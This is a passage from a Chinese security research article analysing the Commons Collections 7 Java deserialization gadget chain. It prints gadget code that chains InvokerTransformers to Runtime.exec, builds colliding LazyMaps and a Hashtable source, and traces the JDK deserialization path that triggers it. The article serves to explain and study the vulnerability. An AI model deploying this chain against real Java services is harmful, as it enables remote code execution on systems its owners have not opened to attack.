Reflections.setAccessible(keyField);
keyField.set(node, entry);
通过反射出HashMap的key,并将恶意TiedMapEntry对象赋值给key属性中。至此,利用链构造完成。
CommonsCollections7的sink链使用的是InvokerTransformer反射接口,利用ChainedTransformer串联三次InvokerTransformer反射和ConstantTransformer接口,获取恶意的Runtime类。调用LazyMap.decorate
方法,将恶意的ChainedTransformer赋值给LazyMap#factory
,当调用LazyMap#get(Object key)
方法,则会触发恶意代码的执行。(与CommonsCollections1、CommonsCollections5、CommonsCollections6的sink点相同)
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
CommonsCollections7的sink点与之前的CC链的不同点在于,CommonsCollections7实例化两次LazyMap对象。
CommonsCollections7的source点选择Hashtable,具体gadget代码如下:
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
Gadget中调用了两次Hashtable#put
方法,将两个LazyMap对象放入了Hashtable中,最终调用remove清空lazyMap2中的yy元素。
目前存在两个问题:
1.为什么需要实例化两次LazyMap对象
2.为什么需要调用remove清空lazyMap2中的yy元素
解答这两个问题之前,需要跟踪一下反序列化流程。跟踪Hashtable#readObject
方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
在readObject方法中会根据Hashtable的元素个数判断调用reconstitutionPut(table, key, value)
方法的次数,跟进reconstitutionPut方法。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
在reconstitutionPut
方法中会调用e.key.equals(key)
方法。依靠之前的CommonsCollections利用链的经验,需要在入口类通过各种方法的调用,从而调用到LazyMap#get
方法,CommonsCollections7的gadget构造思路也如此,Gadget作者通过调用equals方法,串联入口类和LazyMap
。由于在序列化对象构造时,将LazyMap对象作为Hashtable的key值传入到Hashtable的元素中。因此在调用e.key.equals(key)
方法时,实质是调用LazyMap#equals
方法。
LazyMap继承于AbstractMapDecorator
抽象类,从而调用AbstractMapDecorator#equals
方法。
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
其中的map对象则是在调用LazyMap.decorate
方法时传入的HashMap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
因此最终调用HashMap继承的抽象类AbstractMap中的equals方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
并在AbstractMap#equals
方法汇总调用传入对象的get方法。这里重点跟踪一下如何将LazyMap对象作为传入对象传入的,根据上述调用流程逆推,可以看到AbstractMap#equals(Object o)
传入参数o是取决于reconstitutionPut
方法中调用e.key.equals(key)
方法中传入的key值。在这里可以解答上述提到的两个问题。
由于在Hashtable反序列化调用reconstitutionPut方法时,会判断tab数组中是否存在元素,如果存在,则进入for循环中调用e.key.equals(key)
方法。
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
只有在调用第一次reconstitutionPut方法之后,将第一个Hashtable中的元素传入到tab数组中,在进行第二次调用时,才会保证tab数组非空,从而正常调用e.key.equals(key)
方法。
而调用两次reconstitutionPut方法的前提是,需要保证Hashtable中存在两个元素
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
并且为了保证e.key.equals(key)
方法中 e.key是LazyMap对象,且传入的key参数也需要是LazyMap对象,因此需要实例化两次LazyMap
对象,在Hashtable中进行key比较时,完成LazyMap的调用,从而完成利用链的构造。
调用remove清空lazyMap2中的yy元素,是为了保持两个LazyMap对象中的元素个数保持相同,由于在AbstractMap#equals
方法中存在LazyMap元素个数比较的判断条件
如果元素个数不同将直接返回false,不会调用后续的get请求,导致利用链失效。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1656/